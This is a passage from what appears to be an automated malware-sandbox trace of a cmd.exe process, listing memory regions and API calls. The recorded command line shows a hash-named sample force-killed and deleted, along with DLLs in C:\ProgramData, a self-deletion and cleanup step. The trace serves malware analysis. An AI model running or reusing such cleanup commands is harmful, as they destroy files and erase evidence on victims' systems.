end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 979 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 980 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 981 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 982 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 983 start_va = 0x570000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 984 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 985 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 986 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 987 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1070 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1071 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1072 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1073 start_va = 0x6e0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 1074 start_va = 0x7e0000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 1075 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1076 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1077 start_va = 0x910000 end_va = 0xc46fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 18 os_tid = 0xe04 [0161.733] GetModuleHandleA (lpModuleName=0x0) returned 0x1170000 [0161.733] __set_app_type (_Type=0x1) [0161.733] __p__fmode () returned 0x75734d6c [0161.733] __p__commode () returned 0x75735b1c [0161.734] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1185200) returned 0x0 [0161.734] __getmainargs (in: _Argc=0x11960e8, _Argv=0x11960ec, _Env=0x11960f0, _DoWildCard=0, _StartInfo=0x11960fc | out: _Argc=0x11960e8, _Argv=0x11960ec, _Env=0x11960f0) returned 0 [0161.736] GetCurrentThreadId () returned 0xe04 [0161.736] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe04) returned 0x84 [0161.737] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0161.737] GetProcAddress (hModule=0x74650000, lpProcName="SetThreadUILanguage") returned 0x74692510 [0161.738] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.795] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0161.795] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ff18 | out: phkResult=0x19ff18*=0x0) returned 0x2 [0161.796] VirtualQuery (in: lpAddress=0x19ff1f, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0161.796] VirtualQuery (in: lpAddress=0xa0000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0161.796] VirtualQuery (in: lpAddress=0xa1000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0161.796] VirtualQuery (in: lpAddress=0xa3000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0xa3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0161.796] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x19fed0, dwLength=0x1c | out: lpBuffer=0x19fed0*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0161.796] GetConsoleOutputCP () returned 0x1b5 [0161.797] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x119f460 | out: lpCPInfo=0x119f460) returned 1 [0161.798] SetConsoleCtrlHandler (HandlerRoutine=0x1190e40, Add=1) returned 1 [0161.798] _get_osfhandle (_FileHandle=1) returned 0x3c [0161.798] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0161.802] _get_osfhandle (_FileHandle=1) returned 0x3c [0161.802] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x119f40c | out: lpMode=0x119f40c) returned 1 [0161.917] _get_osfhandle (_FileHandle=1) returned 0x3c [0161.917] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x7) returned 1 [0161.925] _get_osfhandle (_FileHandle=0) returned 0x38 [0161.925] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x119f408 | out: lpMode=0x119f408) returned 1 [0161.930] _get_osfhandle (_FileHandle=0) returned 0x38 [0161.930] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1a7) returned 1 [0161.931] GetEnvironmentStringsW () returned 0x5e8130* [0161.932] GetProcessHeap () returned 0x5e0000 [0161.932] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xacc) returned 0x5e8c08 [0161.932] FreeEnvironmentStringsA (penv="A") returned 1 [0161.932] GetProcessHeap () returned 0x5e0000 [0161.932] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4) returned 0x5e0588 [0161.932] GetEnvironmentStringsW () returned 0x5e8130* [0161.932] GetProcessHeap () returned 0x5e0000 [0161.932] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xacc) returned 0x5e96e0 [0161.933] FreeEnvironmentStringsA (penv="A") returned 1 [0161.933] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ee7c | out: phkResult=0x19ee7c*=0x94) returned 0x0 [0161.933] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x49, lpcbData=0x19ee80*=0x1000) returned 0x2 [0161.933] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.933] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x1000) returned 0x2 [0161.933] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x0, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.933] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x1000) returned 0x2 [0161.934] RegCloseKey (hKey=0x94) returned 0x0 [0161.934] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ee7c | out: phkResult=0x19ee7c*=0x94) returned 0x0 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x40, lpcbData=0x19ee80*=0x1000) returned 0x2 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x1, lpcbData=0x19ee80*=0x1000) returned 0x2 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x0, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x9, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.934] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x4, lpData=0x19ee88*=0x9, lpcbData=0x19ee80*=0x4) returned 0x0 [0161.935] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ee84, lpData=0x19ee88, lpcbData=0x19ee80*=0x1000 | out: lpType=0x19ee84*=0x0, lpData=0x19ee88*=0x9, lpcbData=0x19ee80*=0x1000) returned 0x2 [0161.935] RegCloseKey (hKey=0x94) returned 0x0 [0161.935] time (in: timer=0x0 | out: timer=0x0) returned 0x6152b9e5 [0161.935] srand (_Seed=0x6152b9e5) [0161.935] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" & del C:\\ProgramData\\*.dll & exit" [0161.935] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" & del C:\\ProgramData\\*.dll & exit" [0161.935] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x11a7720 | out: lpBuffer="C:\\ProgramData") returned 0xe [0161.936] GetProcessHeap () returned 0x5e0000 [0161.936] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x210) returned 0x5e8130 [0161.936] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5e8138, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0161.936] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x63 [0161.936] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0161.937] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0161.937] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0161.937] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0161.937] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0161.937] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0161.937] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0161.937] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0161.937] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0161.937] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0161.937] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0161.937] GetProcessHeap () returned 0x5e0000 [0161.937] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e8c08) returned 1 [0161.937] GetEnvironmentStringsW () returned 0x5e8348* [0161.937] GetProcessHeap () returned 0x5e0000 [0161.937] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xae4) returned 0x5eaca8 [0161.938] FreeEnvironmentStringsA (penv="A") returned 1 [0161.938] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x1b [0161.938] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x119f4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0161.938] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0161.938] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0161.938] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0161.938] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0161.938] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0161.938] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0161.938] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0161.938] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0161.938] GetProcessHeap () returned 0x5e0000 [0161.938] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x26) returned 0x5e4568 [0161.938] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x19fc54 | out: lpBuffer="C:\\ProgramData") returned 0xe [0161.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x104, lpBuffer=0x19fc54, lpFilePart=0x19fc4c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x19fc4c*="ProgramData") returned 0xe [0161.939] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12 [0161.939] FindFirstFileW (in: lpFileName="C:\\ProgramData", lpFindFileData=0x19f9d0 | out: lpFindFileData=0x19f9d0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b6c8380, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b6c8380, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x5eb798 [0161.939] FindClose (in: hFindFile=0x5eb798 | out: hFindFile=0x5eb798) returned 1 [0161.939] _wcsnicmp (_String1="PROGRA~3", _String2="ProgramData", _MaxCount=0xb) returned 17 [0161.939] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x12 [0161.939] SetCurrentDirectoryW (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 1 [0161.940] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\ProgramData") returned 1 [0161.940] GetProcessHeap () returned 0x5e0000 [0161.940] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eaca8) returned 1 [0161.940] GetEnvironmentStringsW () returned 0x5ea1b8* [0161.940] GetProcessHeap () returned 0x5e0000 [0161.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xb0a) returned 0x5eacd0 [0161.940] FreeEnvironmentStringsA (penv="=") returned 1 [0161.940] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x11a7720 | out: lpBuffer="C:\\ProgramData") returned 0xe [0161.940] GetProcessHeap () returned 0x5e0000 [0161.940] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5e4568) returned 1 [0161.940] GetProcessHeap () returned 0x5e0000 [0161.940] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x400e) returned 0x5eb7e8 [0161.941] GetProcessHeap () returned 0x5e0000 [0161.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1fa) returned 0x5e8e60 [0161.941] GetProcessHeap () returned 0x5e0000 [0161.941] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb7e8) returned 1 [0161.941] GetConsoleOutputCP () returned 0x1b5 [0161.944] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x119f460 | out: lpCPInfo=0x119f460) returned 1 [0161.944] GetUserDefaultLCID () returned 0x409 [0161.945] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x11a34a0, cchData=8 | out: lpLCData=":") returned 2 [0161.945] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19fd84, cchData=128 | out: lpLCData="0") returned 2 [0161.945] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x19fd84, cchData=128 | out: lpLCData="0") returned 2 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x19fd84, cchData=128 | out: lpLCData="1") returned 2 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x11a34b0, cchData=8 | out: lpLCData="/") returned 2 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x11a3500, cchData=32 | out: lpLCData="Mon") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x11a3540, cchData=32 | out: lpLCData="Tue") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x11a3580, cchData=32 | out: lpLCData="Wed") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x11a35c0, cchData=32 | out: lpLCData="Thu") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x11a3600, cchData=32 | out: lpLCData="Fri") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x11a3640, cchData=32 | out: lpLCData="Sat") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x11a3680, cchData=32 | out: lpLCData="Sun") returned 4 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x11a34c0, cchData=8 | out: lpLCData=".") returned 2 [0161.946] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x11a34e0, cchData=8 | out: lpLCData=",") returned 2 [0161.946] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0161.948] GetProcessHeap () returned 0x5e0000 [0161.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20c) returned 0x5e9068 [0161.948] GetConsoleTitleW (in: lpConsoleTitle=0x5e9068, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0161.949] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0161.949] GetProcAddress (hModule=0x74650000, lpProcName="CopyFileExW") returned 0x7466ffc0 [0161.949] GetProcAddress (hModule=0x74650000, lpProcName="IsDebuggerPresent") returned 0x7466b0b0 [0161.949] GetProcAddress (hModule=0x74650000, lpProcName="SetConsoleInputExeNameW") returned 0x75f9b440 [0161.950] GetProcessHeap () returned 0x5e0000 [0161.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x400a) returned 0x5eb7e8 [0161.950] GetProcessHeap () returned 0x5e0000 [0161.950] RtlFreeHeap (HeapHandle=0x5e0000, Flags=0x0, BaseAddress=0x5eb7e8) returned 1 [0161.951] _wcsicmp (_String1="taskkill", _String2=")") returned 75 [0161.951] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14 [0161.951] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14 [0161.951] _wcsicmp (_String1="IF", _String2="taskkill") returned -11 [0161.951] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11 [0161.951] _wcsicmp (_String1="REM", _String2="taskkill") returned -2 [0161.951] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2 [0161.951] GetProcessHeap () returned 0x5e0000 [0161.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e9280 [0161.951] GetProcessHeap () returned 0x5e0000 [0161.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x5e92e0 [0161.956] GetProcessHeap () returned 0x5e0000 [0161.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xa4) returned 0x5e9308 [0161.957] GetProcessHeap () returned 0x5e0000 [0161.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e93b8 [0161.958] _wcsicmp (_String1="timeout", _String2=")") returned 75 [0161.958] _wcsicmp (_String1="FOR", _String2="timeout") returned -14 [0161.958] _wcsicmp (_String1="FOR/?", _String2="timeout") returned -14 [0161.958] _wcsicmp (_String1="IF", _String2="timeout") returned -11 [0161.958] _wcsicmp (_String1="IF/?", _String2="timeout") returned -11 [0161.958] _wcsicmp (_String1="REM", _String2="timeout") returned -2 [0161.958] _wcsicmp (_String1="REM/?", _String2="timeout") returned -2 [0161.958] GetProcessHeap () returned 0x5e0000 [0161.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e9418 [0161.958] GetProcessHeap () returned 0x5e0000 [0161.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5e7950 [0161.959] GetProcessHeap () returned 0x5e0000 [0161.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x16) returned 0x5e78f0 [0161.959] GetProcessHeap () returned 0x5e0000 [0161.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e9478 [0161.960] _wcsicmp (_String1="del", _String2=")") returned 59 [0161.960] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0161.960] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0161.960] _wcsicmp (_String1="IF", _String2="del") returned 5 [0161.960] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0161.960] _wcsicmp (_String1="REM", _String2="del") returned 14 [0161.960] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0161.960] GetProcessHeap () returned 0x5e0000 [0161.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e94d8 [0161.960] GetProcessHeap () returned 0x5e0000 [0161.961] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x10) returned 0x5e45b0 [0161.966] GetProcessHeap () returned 0x5e0000 [0161.966] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xe2) returned 0x5e9538 [0161.967] GetProcessHeap () returned 0x5e0000 [0161.967] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e9628 [0161.967] _wcsicmp (_String1="del", _String2=")") returned 59 [0161.967] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0161.967] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0161.967] _wcsicmp (_String1="IF", _String2="del") returned 5 [0161.967] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0161.968] _wcsicmp (_String1="REM", _String2="del") returned 14 [0161.968] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0161.968] GetProcessHeap () returned 0x5e0000 [0161.968] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e05c8 [0161.968] GetProcessHeap () returned 0x5e0000 [0161.968] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x10) returned 0x5e9688 [0161.968] GetProcessHeap () returned 0x5e0000 [0161.968] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x5e96a0 [0161.969] GetProcessHeap () returned 0x5e0000 [0161.969] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e0628 [0161.969] _wcsicmp (_String1="exit", _String2=")") returned 60 [0161.969] _wcsicmp (_String1="FOR", _String2="exit") returned 1 [0161.969] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1 [0161.969] _wcsicmp (_String1="IF", _String2="exit") returned 4 [0161.969] _wcsicmp (_String1="IF/?", _String2="exit") returned 4 [0161.970] _wcsicmp (_String1="REM", _String2="exit") returned 13 [0161.970] _wcsicmp (_String1="REM/?", _String2="exit") returned 13 [0161.970] GetProcessHeap () returned 0x5e0000 [0161.970] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x58) returned 0x5e0688 [0161.970] GetProcessHeap () returned 0x5e0000 [0161.970] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x12) returned 0x5e7bd0 [0161.971] GetConsoleTitleW (in: lpConsoleTitle=0x19fa10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0161.972] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16 [0161.972] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15 [0161.972] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16 [0161.972] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24 [0161.972] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17 [0161.972] _wcsicmp (_String1="taskkill", _String2="CD") returned 17 [0161.972] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17 [0161.972] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2 [0161.972] _wcsicmp (_String1="taskkill", _String2="REN") returned 2 [0161.972] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15 [0161.972] _wcsicmp (_String1="taskkill", _String2="SET") returned 1 [0161.972] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4 [0161.972] _wcsicmp (_String1="taskkill", _String2="DATE") returned 